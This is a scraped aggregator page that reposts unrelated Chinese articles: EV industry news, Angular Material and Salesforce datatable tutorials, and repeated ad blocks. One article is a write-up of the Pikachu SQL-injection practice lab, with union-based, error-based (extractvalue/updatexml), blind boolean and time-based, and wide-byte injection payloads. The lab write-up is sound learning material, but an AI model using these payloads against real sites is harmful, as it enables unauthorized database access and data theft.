e-bike 新北正式上路 持悠遊卡就能租借

e-bike 電動自行車正式在新北市上路!台灣城市動力公司從 2014 年開始設立租借站,經過 3 個多月試營運期,近日 7 個站點陸續正式上路,目前板橋有 3 站、鶯歌 2 站、蘆洲及中和各 1 站,租借人次已逾 7,000 人次。   e-bike 為公共電動二輪車租借系統,車內附有鋰電池,可透過電池交換站系統,隨時取得電能,最大速率為 25 公里,行駛里程也為 25 公里,民眾只要持有悠遊卡就能租賃,前 30 分鐘費率為 1 元,之後每 15 分鐘 15 元。   全台第 1 站 2 月 14 日在鶯歌正式營運,至今租借次數已達 2,000 人次,但仍有部分民眾不清楚 e-bike 為何物,看到一排電動自行車停靠在老街口,還誤以為是廠商在賣車。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

pick靶場-sql注入

甲.数字型注入

数字型注入一般提交值沒有引號,所以直接在後面構造語句就可以了。

 

 

 

 抓包查看

 

 

 

 構造語句

 

 

 

 提交后

 

 

 

 

該數據庫表內容被爆出來了。

 

乙.字符型注入

 

首先我們要知道一點,字符串在數據庫中提交是需要用引號將字符串包含的。所以字符型注入一般需要用到引號來閉合字符串,閉合引號后就可以接執行的sql語句,就可以執行。

name=’kobe’

這時候需要構造語句  ‘or 1=1# 單引號是為了閉合1前面的單引號,#是為了註釋掉後面語句

 

這裏輸入kobe提交后显示了uid和email,猜測語句是 select uid,email from 表 where username=’輸入的值’

這裏要構造語句,輸入的值變成’or 1=1#。那麼查詢語句就是select uid,email from 表 where username=”or 1=1#’

閉合單引號后,把後面一個單引號註釋掉。

 

 

 

嘗試讀取數據庫信息。

使用order by 猜表字段數

 

 

 

 

 

 

表字段數為2,開始構造語句

 database() 數據庫名

 version() 數據庫版本

 user()

 

22′  union select  database(),user()#

 

這裏了解下mysql中information_schema數據庫,他可以幫助我們查詢更多信息。

 

Mysql 5.0以上中,information_schema數據庫會記錄當前數據庫信息。

information_schema.tables 表名信息

information_schema.columns  列名信息

Table_name 表名

Column_name 列名

Table_schema  數據庫名

 

group_concat用來合併多條數據記錄,可用來合併結果。

因此,查詢當前數據庫下錶名可以使用(group_concat使用與否均可,主要看返回信息。)

group_concat(table_name) from information_schema.tables where table_schema = database()

查詢表中列名

group_concat(column_name) from information_schema.columns where table_name = ‘列名’、

 

丙.搜索型注入

搜索框中的數據庫語句一般是採用的查詢語句,這裏我們先了解下sql查詢語句

SQL提供了四種匹配模式:% _ [ ] [^ ]

 

1. %

%表示模糊匹配0或多個字符,如以下查詢語句:

select * from user where name like ‘%三%’; 這個語句將會把name中帶有“三”的信息全部查找出來

select * from user where name like ‘%三’ ; 這個語句將會把name中最右邊帶有“三”的信息全部查找出來

select * from user where name like ‘三%’ ; 這個語句將會把name中最左邊帶有“三”的信息全部查找出來

 

2. _

_表示任意單個字符,如以下語句:

select * from user where name like ‘_三_’; 這個語句會匹配出“二三四”

select * from user where name like ‘__三’; 這個語句會匹配出“一二三”

 

3. [ ]

[ ]表示括號內所列字符中的一個(類似於正則表達式),如以下語句:

select * from user where name like ‘老[大二三]’; 如果都存在的話將找出“老大”、“老二”、“老三”

同時支持縮寫0-9、a-z等。

 

4.[^ ]

類似於正則表達式,將括號內的元素排除,如以下語句:

select * from user where name like ‘[0-3]個’ 將會檢索出除了“0個”,“1個”,“2個”,“3個”

————————————————

版權聲明:本文為CSDN博主「MuffinFish」的原創文章,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/qq_36113598/article/details/79372493

 

看題目,首先輸入ko,能夠查詢出來

 

再輸入ob,也可以查詢出來

 

 

 

很明顯,這裏使用的語句,應該是%這種類型的模糊查詢方式。

猜測語句是select username,uid,email from 表 where username=’%輸入的值%’

構造語句,直接使用’or 1=1#

‘閉合掉字符串,然後使用#註釋掉後面的%’

 

 

 

sql語句很靈活,閉合前一個語句后,可以使用聯合查詢查詢數據庫信息,比如’union select user(),2,3#

 

 

丁.xx注入

先試一試’union select 1,2#

報錯显示You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘union select 1,2,3#’)’ at line 1

發現我們寫的語句後面有個引號和括號,嘗試構造語句閉合

‘) union select 1,2,3#

報錯select列的數量不匹配,說明執行了我們構造的語句。嘗試改成’) union select 1,2#

 

 

爆表數據就要用 ‘)or 1=1#

 

 

戊.insert/update注入

insert/update/delete注入

在這3種情況中,我們不能使用 union 去做聯合查詢,因為這不是查詢,而是操作。首先猜測語句類型,是查詢類的可以通過union語句來查詢。

 

首先,添加用戶的地方是對數據庫表進行寫入操作。

我們要了解,sql中寫入新數據,用的語句是

INSERT INTO 表名稱 VALUES (值1, 值2,….)

我們也可以指定所要插入數據的列:

INSERT INTO table_name (列1, 列2,…) VALUES (值1, 值2,….)

使提交報錯也印證了語句是用是insert into語句

 

 

 

首先要了解insert注入一般使用的語句

extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1′

extractvalue() :對XML文檔進行查詢的函數

語法:extractvalue(目標xml文檔,xml路徑)

第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。

 

正常查詢 第二個參數的位置格式 為 /xxx/xx/xx/xx ,即使查詢不到也不會報錯

 

concat函數是mysql的字符串連接函數

裏面可以執行sql語句

select concat(0x7e,(select user()) ,0x7e)

驗證結果:16進制也能被自動轉義(0x7e是 ~符號)

 

 

下面故意寫入語法錯誤:

select username from security.user where id=1 and (extractvalue(‘anything’,concat(‘~’,(select database()))))

 

 

 https://blog.csdn.net/zpy1998zpy/article/details/80631036

 就是使extractvalue函數中第二個參數變成~select detabase(),這樣與extractvalue函數規定的語法不同,就會引起報錯。

在寫入數據的地方使用構造語句

ttt’and extractvalue(1,concat(0x7e,(database()))) and ‘1’=’1

 

 

 

 

updatexml()

做數據修改的時候會存在update注入的地方

 

updatexml()函數與extractvalue()類似,是更新xml文檔的函數。

語法updatexml(目標xml文檔,xml路徑,更新的內容)

報錯語句為

select username from security.user where id=1 and (updatexml(‘anything’,concat(‘~’,(select database())),’anything’))

 

 

構造語句

aa’ and updatexml(1,concat(0x7e,(database())),1) and ‘1’=’1

 

 

 其實也可以使用extractvalue(),只要有報錯,會執行我們構造的語句就成。

 

 

己.delete注入

sql中刪除數據一般使用

DELETE 語句

DELETE 語句用於刪除表中的行。

語法

DELETE FROM 表名稱 WHERE 列名稱 = 值

 

點擊刪除

 

 

抓包看

 

 刪除的列名為id,值為59。不為字符串,可直接構造語句

and extractvalue(1,concat(0x7e,(database())))

 url上改直接輸入

 

 

改數據包需要使用空格實體或者+

 

 

庚.http header

web滲透很多地方都涉及到數據包頭部的改寫,我這裏就不多說。

 

 

這題很坑的地方在於,不了解後端代碼是怎麼寫的做起來很彆扭,因為這題目要显示出包頭的信息根本不需要將包頭信息存儲在數據庫中。代碼里倒是寫進數據庫了,但後面調用是直接讀前端獲取到的頭部信息,沒有從數據庫中讀取,可能作者是想做個類似訪問記錄的東西。

 

辛.boolian盲注

根據返回信息判斷語句是否正確。

基於真假的盲注主要特徵

  • 沒有報錯信息
  • 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
  • 在正確的輸入下,後面跟 and 1=1 / and 1=2 進行判斷

 

kobe’ and 1=1#
kobe’ and 1=2#

發現一條正確執行,一條显示用戶名不存在,說明後台存在 SQL 注入漏洞

length(database()) 判斷 數據庫名稱的長度

kobe’ and length(database()) >5#

 

SUBSTR函數

 substr(database(), 1, 1) 截取數據庫名稱第一個字符

ascii(substr(database(), 1, 1)) 截取數據庫名稱第一個字符,轉換成ascii值

kobe’ and ascii(substr(database(), 1, 1)) > 105# 判斷數據庫名稱第一個字符ascii值的大小

 

判斷出數據庫名稱后可以使用substr(database(),1,1)=’字母’#

進行爆破,然後substr(database(),2,1)=’字母’#依次爆破,得出完整數據庫名。

 

這裏簡要說明下SUBSTR函數:

SUBSTR函數是用來截取數據庫某一列字段中的一部分。

在各個數據庫的函數名稱不一樣

MySQL: SUBSTR( ), SUBSTRING( )

Oracle: SUBSTR( )

SQL Server: SUBSTRING( ) ;

常用的方式是:

SBUSTR(str,pos);

就是從pos開始的位置,一直截取到最後。

 

還有一種比較常用的是:

SUBSTR(str,pos,len);

這種表示的意思是,就是從pos開始的位置,截取len個字符(空白也算字符)。

需要注意的是:如果pos為1(而不是0),表示從第一個位置開始。

————————————————

版權聲明:SUBSTR函數說明為CSDN博主「呼嘯」的原創,遵循CC 4.0 BY-SA版權協議,轉載請附上原文出處鏈接及本聲明。

原文鏈接:https://blog.csdn.net/howlaa/article/details/16825761

 

壬.延時盲注

構造語句,使語句提交操作延時,來判斷構造的語句是否正確。

kobe’ and sleep(3)#

該語句表示如果存在kobe,則延時提交3秒。

根據這個方法,可以組合其他語句來猜解當前數據庫信息。

 

lili’ and if(substr(database(),1,1)=’p’,sleep(5),1)#

 

 

 

盲注可以通過爆破來輔助猜解,具體參考https://www.cnblogs.com/paperpen/p/12324363.html

 

癸.寬字節注入

寬字節注入是因為數據庫使用了GBK編碼,多字節的編碼,兩個字節代表一個漢字。

注入中單引號存在被反斜杠轉義的情況。\’,其中\的十六進制是 %5C。%df’被轉義成%df\’,就變成了%df\’=%df%5c%27,%df%5c 是一個寬字符,也就是縗,也就是說:%df\’ = %df%5c%27=縗’。單引號就可以按照初期想法被識別。

構造語句kobe%df%27 or 1=1#,通過網頁修改無效,直接修改數據包,成功。

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

奧迪新電動跑車2018年推出:續航超500公里

根據外媒資訊,奧迪將開發多款純電動車和插電式混合動力車。電池動力的跨界車將以新一代發動機縱置模組化平臺MLB 2為基礎。首款基於MLB 2平臺衍生的產品是第二代奧迪Q7,該車將在今年下半年上市。   奧迪技術研發負責人烏爾裡奇•哈肯伯格(Ulrich Hackenberg)在日前奧迪年度大會上告訴媒體:「2018年上半年,我們將推出一款電池動力的運動型跑車,針對大型豪華車細分市場,續航里程超過500公里。該車將擁有全新、極具吸引力的外觀設計,這是我們特地為e-tron系列電動車和純電動車打造的設計。」   而去年,哈肯伯格曾表示,奧迪將推出續航里程280英里(約合45萬公尺)的純電動家用車型,車輛將擁有容納一個家庭的寬敞內部空間,於2017年前後發佈,將和特斯拉Model S電動車爭奪市場;預計將採用轎車風格車身,同時具備寬敞的內部空間,適合家用。   為了達到續航里程目標,新電動車車將採用奧迪最新一代電動馬達和電池,具有較高的能量密度。大眾汽車集團動力總成研發負責人Heinz-Jakob Neußer表示,新馬達較當前用於e-Golf電動車的型號效率高出5倍。 

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

上海環保計畫出爐 新能源車將達1.3萬輛

19日,上海市政府官網發佈了《上海市2015年-2017年環境保護和建設三年行動計畫》。   上海在計畫中提出將大力推廣新能源汽車,到2015年累計推廣新能源汽車1.3萬輛,2017年進一步推廣。在公車、環境衛生、計程車等產業和政府機關,新增或更新的公車中新能源和清潔燃料車的比例達60%以上。上海還將實施集裝箱運輸車隊清潔能源試點,推廣應用LNG集裝箱運輸車輛1000輛以上。加快充電樁、加氣站等配套設施建設,2015年底前累計建成6000個充電樁。   此外,計畫還提出了一系列具體目標,包括:到2017年細顆粒物(PM2.5)年均濃度比2013年下降20%左右;到2017年上海飲用水水源地水質實現達標,重要水功能區主要水質達成率(扣除上游來水)達60%;城市森林覆蓋率達15.5%,上海全市城鎮汙水處理率達90%以上,生活垃圾無害化處理率達100%,農藥化肥施用強度下降10%。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

基於 Angular Material 的 Data Grid 設計實現

自 Extensions 組件庫發布以來,Data Grid 成為了使用及諮詢最多的組件。最開始 Data Grid 的設計非常簡陋,經過一番重構,組件質量有了質的提升。
Extensions 組件庫: https://github.com/ng-matero/extensions
Data Grid 示例: https://ng-matero.github.io/extensions/data-grid

距離 Extensions Data Grid 重構已經過去了兩個多月,因工作忙碌而遲遲沒有介紹 Extensions Data Grid 的細節。這幾天又重構了一下官網示例,目前的 API 文檔放在了 gitbook 上,暫時還沒有和官網整合,國內訪問會比較慢。本文會介紹 Data Grid 的使用方法及比較好的一些功能實現。說點題外話,開發一款插件最大的難度不在於功能的實現,而在於如何去設計插件

什麼是 Data Grid?

Data Grid 本質上就是通過 數據+列定義+配置項 來渲染表格的插件。這比寫一堆 DOM 結構要簡潔很多,可以說是 CRUD 業務中的大殺器之一。目前市面上功能最全的 Data Grid 是 ag-grid,很多組件庫也有自己的 Data Grid 實現,比如 Ignite UI,Kendo UI。但是市面上這些優秀的插件基本都要收費,另外就是遇到變態需求時,第三方插件的功能定製會遇到很多問題,這也是我自研 Data Grid 的初衷。

Angular Material 對於 table 的封裝已經足夠靈活,但是模板的定義依然很繁瑣,也缺少很多剛需功能。Extensions Data Grid 幾乎整合了 Angular Material 表格的所有功能,同時又增加了很多實用功能。

Extensions Data Grid 簡介

Extensions Data Grid 的功能實現參考了 ag-grid 以及其它插件,重構時對變量及參數命名進行了很細緻的考究。目前 Extensions Data Grid 已經實現的功能如下:

  • Paging(分頁,包括前端分頁和後端分頁)
  • Sorting(排序,目前只支持單值排序)
  • Sticky columns(列的固定)
  • Column hiding(列的显示隱藏)
  • Column moving(列的移動排序)
  • Checkbox selection(數據選擇)
  • Row selection(行選取,可多選)
  • Cell selection(單元格選取,暫時只支持單選)
  • Expandable row(可展開的表格行)
  • Data Formatting(數據格式化)
  • Customized cell(自定義單元格)
  • Template(各種模板)

因文章篇幅有限,本文主要介紹一些重點功能,其它功能可以參考官網示例。

基本用法

官網示例:Basic

定義組件參數

<mtx-grid [data]="list" 
          [columns]="columns">
</mtx-grid>

定義數據及列

export class AppComponent {
  columns: MtxGridColumn[] = [
    { header: 'Name', field: 'name' },
    { header: 'Weight', field: 'weight' },
    { header: 'Gender', field: 'gender' },
    { header: 'Mobile', field: 'mobile' },
    { header: 'City', field: 'city' },
  ];

  list = EXAMPLE_DATA;
}

補充介紹一下,市面上 Data Grid 定義列的方式主要有兩種:

1、JS 定義,比如 ag-grid

var gridOptions = {
    // define 3 columns
    columnDefs: [
        { headerName: 'Athlete', field: 'athlete' },
        { headerName: 'Sport', field: 'sport' },
        { headerName: 'Age', field: 'age' }
    ],

    // other grid options here...
}

2、模板定義,比如 Ignite UI

<igx-grid igxPreventDocumentScroll #grid1 [data]="data | async" [height]="'500px'" width="100%" [autoGenerate]='false' [allowFiltering]="true">
    <igx-column [field]="'Category'" [width]="'120px'"></igx-column>
    <igx-column [field]="'Type'" [width]="'150px'" [filterable]='false'></igx-column>
    <igx-column [field]="'Open Price'" [width]="'120px'" dataType="number" [formatter]="formatCurrency">
    </igx-column>
    <igx-column [field]="'Price'" [width]="'120px'" dataType="number" [formatter]="formatCurrency"></igx-column>
</igx-grid>

權衡各種利弊,Extensions Data Grid 選擇了第一種定義方法,接口定義如下:

export interface MtxGridColumn {
  field: string;
  header?: string;
  hide?: boolean;
  disabled?: boolean;
  pinned?: 'left' | 'right';
  left?: string;
  right?: string;
  width?: string;
  resizable?: boolean;
  sortable?: boolean | string;
  type?: 'tag' | 'button' | 'link' | 'image' | 'number' | 'currency' | 'percent' | 'boolean';
  tag?: MtxGridColumnTag;
  buttons?: MtxGridColumnButton[];
  formatter?: (rowData: any, colDef?: any) => void;
  cellTemplate?: TemplateRef<any> | null;
  showExpand?: boolean;
  description?: string;
  i18n?: string;
  summary?: ((colData: any, colDef?: any) => void) | string;
}

模板

模板是 angular 組件極其靈活的一個功能。大部分優秀的第三方組件都具有自定義模板的能力,而在 Data Grid 中,模板更是一個不可或缺的功能。Extensions Data Grid 的模板功能已經比較完善,單元格模板除了基本的方法外,還增加了更為簡單易用的方法。

普通方法

<mtx-grid [data]="list"
          [columns]="columns">
</mtx-grid>

<ng-template #statusTpl let-row let-index="index" let-col="colDef">
  <mat-slide-toggle [checked]="row.status">Slide me!</mat-slide-toggle>
</ng-template>
export class AppComponent implements OnInit {
  @ViewChild('statusTpl', { static: true }) statusTpl: TemplateRef<any>;

  columns: MtxGridColumn[] = [];

  list = EXAMPLE_DATA;

  ngOnInit() {
    this.columns = [
      { header: 'Name', field: 'name' },
      { header: 'Weight', field: 'weight' },
      { header: 'Gender', field: 'gender' },
      { header: 'Mobile', field: 'mobile' },
      { header: 'City', field: 'city' },
      { header: 'Status', field: 'status', cellTemplate: this.statusTpl },
    ];
  }
}

官網示例:Custom cell template

引用模板實例是一種很常見的思路,但是弊端就是必須將列定義寫在 ngOnInit 中,而且要先引用所用的自定義模板實例。這種寫法很不靈活。

升級方案

<mtx-grid [data]="list"
          [columns]="columns"
          [cellTemplate]="{ city: cityTpl }">
</mtx-grid>

<ng-template #cityTpl let-row let-index="index" let-col="colDef">
  <button mat-raised-button color="primary">{{row.city}}</button>
</ng-template>

官網示例:Custom cell template 2

這種方法直接在組件參數中定義了模板實例 [cellTemplate]="{ city: cityTpl }",其中 city 是列定義中的 field,除此之外不需要再寫其它任何代碼,非常簡單!

除了單元格模板之外,還有 headerTemplate、summaryTemplate、toolbarTemplate 等,可以滿足大部分的個性化需求,詳情見官網示例。

選取

官網示例:Row selectable

表格的行選取是一個很常見的需求,用途廣泛。默認開啟單元格選取,可以設置 [cellSelectable]="false" 以關閉單元格選取。

通過 [rowSelectable]="true" 可以開啟行選取。

<mtx-grid [data]="list"
          [columns]="columns"
          [rowSelectable]="rowSelectable"
          (rowSelectionChange)="log($event)"
          (cellSelectionChange)="log($event)">
</mtx-grid>

通過 [multiSelectable]="true" 可以設置多選行。這裡有一個細節,按住 ctrl 並單擊才可以多選,或者直接點擊 checkbox 也可以。如果需要隱藏 checkbox,只需要設置 [hideRowSelectionCheckbox]="true"

如果初始化表格時希望默認選中某些行,則只需要定義 [rowSelected]=[...]

不可選取

設置不可選取行的方式有兩種,一種是設置 checkbox 為 disabled,另一種是隱藏 checkbox。配置非常簡單,只需要通過 rowSelectionFormatter 過濾數據即可。

<mtx-grid [data]="list"
          [columns]="columns"
          [rowSelectable]="true"
          [rowSelectionFormatter]="rowSelectionFormatter">
</mtx-grid>
export class AppComponent {
  columns: MtxGridColumn[] = [
    { header: 'Name', field: 'name' },
    { header: 'Weight', field: 'weight' },
    { header: 'Gender', field: 'gender' },
    { header: 'Mobile', field: 'mobile' },
    { header: 'City', field: 'city' },
  ];

  list = EXAMPLE_DATA;

  rowSelectionFormatter: MtxGridRowSelectionFormatter = {
    disabled: (data) => data.name === 'Boron',
    hideCheckbox: (data) => data.name === 'Helium',
  };
}

行展開

官網示例:Expandable row

行展開的實現藉助了 Angular Material 表格的 multiTemplateDataRows 參數,實現細節很多。Data Grid 的代碼如下:

設置 expandableexpansionTemplate

<mtx-grid [data]="list"
          [columns]="columns"
          [expandable]="true"
          [expansionTemplate]="expansionTpl">
</mtx-grid>

<ng-template #expansionTpl let-row>
  {{row.name}}
</ng-template>

在列定義中設置 showExpand, 確定在哪個列显示展開符號。

export class AppComponent {
  columns: MtxGridColumn[] = [
    { header: 'Name', field: 'name', showExpand: true },
    { header: 'Weight', field: 'weight' },
    { header: 'Gender', field: 'gender' },
    { header: 'Mobile', field: 'mobile' },
    { header: 'City', field: 'city' },
  ];

  list = EXAMPLE_DATA;
}

列操作

官網示例:Column hiding & moving

列的显示隱藏以及排序是非常常見的需求,這類需求曾被產品經理折磨了無數次。目前的列操作 UI 只有菜單方式,之後還會添加側邊欄的 UI,暫時不支持列的橫向拖拽。

列的操作完全可以移到組件之外,通過設置 columns 實現,並不一定非要用 Data Grid 集成好的功能。

總結

因篇幅有限,很多 Extensions Data Grid 的功能沒有詳細介紹。從我遇到的需求來看,目前的 Data Grid 已經可以覆蓋九成的需求了,還有很多高級功能正在開發當中,歡迎大家提出建設性意見。如果大家在使用組件的過程中遇到問題,可以在 GitHub 中提交 issues 或者進討論群提問。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

季風降雨帶來塑膠大潮 孟買草根團體掀起減塑浪潮

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

推廣電動車!舊金山設免費太陽能電動車充電站

  為了推廣使用再生能源,舊金山政府及當地企業和電動車組織聯手推動 11th hour 計畫,在舊金山設立多個太陽能電動車充電站,暫時會有 3 個充電站供車主免費使用。   由 Envision Solar 設計和生產的太陽能充電站由擁有追蹤光源功能的太陽能板、儲電鋰電池和充電插頭組成。它的設計能夠抵禦時速超過 190 公里的強風,和儲存 22.5 kWh 的電力。只要選定好地點,然後進行太陽位置追蹤設定,Envision Solar 發電站就能夠運作。   它的 Level 2 充電接口能夠輸出 3.3 kW 電力,大約可為電動車提供 160 公里的行駛距離。     (圖片來源:)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

鋰電池再生利用,新創事業 FreeWire 推行動充電車

  特斯拉(Tesla)高調宣布鋰電池儲能系統,其中針對企業用戶的「Powerpack」,100 度電售價 25,000 美元,已將平均儲能成本拉低到相當驚人的每度電 250 美元,一般認為若平均儲能成本降到每度電 100 美元,將引爆能源儲存革命,特斯拉挾 GigaFactory 的威力,正全速逼近這個目標,不過,卻有一個小型新創事業,認為現在就可以做到。   這家新創事業 FreeWire 初期募資金額不過 42.5 萬美元,加上美國海軍資助 50 萬美元,如何能超越家大業大的特斯拉?其實原理也不難,就是採用二手電池。   FreeWire 、日產(Nissan)與 NEC 合資的汽車能源供應公司(Automotive Energy Supply Corporation,AESC)合作,AESC 是僅次於 Panasonic,全球第二大車用鋰電池供應商,市佔率達 21%,2014 年銷售最佳的電動車是 Nissan Leaf,其電池正是由 AESC 供應,Nissan 每個月都會測試電池,每六個月就汰換效能已經衰退的鋰電池,數量以千計,對 Nissan 來說庫存這些二線電池是個麻煩,但這些電池的效能或許已經不不敷電動車所需,拿來做為能源儲存用途卻還很有用。   於是,FreeWire 以新電池六分之一的價格取得這些二手電池,第一步,是取之於電動車用之於電動車,將這些二手電池組裝成總容量 48 度電的行動充電車,專供電動車在本來沒有設置充電座的停車場、機場、企業廠區等處充電,行動充電車可以推到停車場任何一個停車格,幫電動車充電,如此一來,停車場可以省下設置大量充電座的成本,卻能提供身為少數的電動車主充電服務,而這些二手電池在每天充放電循環 2 次的情況下,還可以有 5 年的壽命。  
 

    由於使用二手電池,FreeWire 裝置的每度電成本只有 100 美元,執行長阿卡迪‧索西諾夫(Arcady Sosinov)表示,電池產業界要到 2030 年才能達到的成本目標,他們用二手電池壓低成本,所以現在就已經做到。   阿卡迪‧索西諾夫的野心不只是為電動車行動充電,他認為二手電池的商機相當廣大,同樣的系統也可用來取代柴油發電機,為沒有電力供應之處供電,或是作為備援電力,而鋰電池供電比起柴油發電機有更大的優勢,那就是不會產生噪音與廢氣。如果要在戶外辦一場蚊子電影院,使用鋰電池系統顯然更好,而許多開發中國家的手機基地台因電網不穩定都有備用電源需求,以往這些取代柴油發電機的系統生意由奇異的獨拉松獨佔,如今以二手電池成本之低,也可與之競爭。   更進一步,二手電池系統也可進軍特斯拉正大張旗鼓進入的家庭與企業能源儲存領域,不過,二手電池的發展,也不是只會和特斯拉打對台,因為特斯拉發展電動車也一樣會面臨汰換大量二手電池,這些二手電池若都可再利用製成能源儲存裝置,對特斯拉也是一項利多。   FreeWire 利用二手電池的想法也給能源儲存業界一個啟發,過去鋰電池效能會衰退是產業界的一大問題,但換個方向思考,開啟電池的分級使用,反而可開創許多價格彈性商機。     本文全文授權轉載自《科技新報》─〈〉

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

Salesforce LWC學習(十八) datatable展示 image

本篇參看:

https://developer.salesforce.com/docs/component-library/bundle/lightning-datatable/documentation

https://www.lightningdesignsystem.com/components/data-tables/

我們在salesforce中,經常會使用 listview,標準的 lightning listview會有排序,filter展示chart等等標準功能。當然,某些情況標準搞定不了情況下,我們便需要使用自定義的開發。自定義開發我們就可以使用 lightning-datatable組件。一個 lightning-datatable組件用來展示表格數據,它可以根據數據類型展示每一列。比如一個 email類型的字段會展示一個點開以後是一個 mail:to的超鏈接。默認展示的類型是text類型。那 lightning-datatable有哪些特性呢?

  • 展示和格式化焗油適當類型的列
  • 具有無限滾動行功能
  • 指定的數據類型允許 inline編輯
  • 可以定義header的action
  • 可以定義行級別的action
  • 重置每一列展示的大小
  • 選擇行操作
  • 指定的列通過升序或者降序排列
  • 文字換行和剪切
  • 對行進行編號
  • 設置單元格對齊方式

lightning-datatable有很多屬性,其他的請自行查看文檔,這裏只例舉幾個核心屬性或者方法。比較核心的如下:

  • columns:一組列的object用來定義數據類型,這個object有很多的屬性,其中有幾個必填的配置: label & fieldName & type。分別對應着字段的展示名稱,字段的API name以及字段的類型,不同的字段類型將會自動的轉換成不同的展示形式,默認是text。其他的屬性我們後期會有簡單介紹。
  • data:一組數據用來展示,通常 comulns設置表單的頭以及每個單元列的類型,data設置內容;
  • hide-checkbox-column:標籤用來設定是否展示左側的checkbox,值為true/false,true即隱藏checkbox;
  • selected-rows:用來初始化時展示哪些行是被選中的;
  • key-field:用來指定每行的unique id;
  • getSelectedRows:這個是lightning-datatable提供的方法,用來獲取哪些行用戶選中的。

簡單介紹完畢,下面通過幾點來慢慢帶入datatable的功能。

一. 基礎 Datatable展示數據

demo中展示,我們來看官方提供的一個demo。

dataTableExample1.html:用來展示一個 datatable,我們看到屬性中的data / columns / key-field都是上面描述過的, onrowselection方法為當有行選擇的時候的調用

<template>
    <lightning-datatable
            data={data}
            columns={columns}
            key-field="id"
            onrowselection={getSelectedName}>
    </lightning-datatable>
</template>

 dataTableExample1.js:有兩種方式可以獲取選擇的行信息,demo中有兩個。datatable有一個標準事件rowselection,調用以後可以通過event.detail.

selectedRows獲取選中的行的信息,另外一種就是找到datatable然後調用其getSelectedRows方法。

除此之外,我們看到columns的設置方式,除了 label / fieldName / type這三個基礎信息以外,還可以看到有 typeAttributes 以及 cellAttributes兩種設置。

  • typeAttributes:用於對指定的列的類型格式化dataCell,不同的type可能擁有不同的設置。salesforce針對不同的type可以設置不同的 typeAttributes,這裏不再詳細展開,具體查看文檔;
  • cellAttributes:typeAttributes用於設置針對 type的格式化,cellAttributes通常用於列中附加圖標信息,設置圖標位置等信息。
import { LightningElement } from 'lwc';

const columns = [
     {label: 'Opportunity name', fieldName: 'opportunityName', type: 'text'},
     {label: 'Confidence', fieldName: 'confidence', type: 'percent', cellAttributes:{ iconName: { fieldName: 'trendIcon' }, iconPosition: 'right' }},
     {label: 'Amount', fieldName: 'amount', type: 'currency', typeAttributes: { currencyCode: 'EUR'}},
     {label: 'Contact Email', fieldName: 'contact', type: 'email'},
     {label: 'Contact Phone', fieldName: 'phone', type: 'phone'},
];

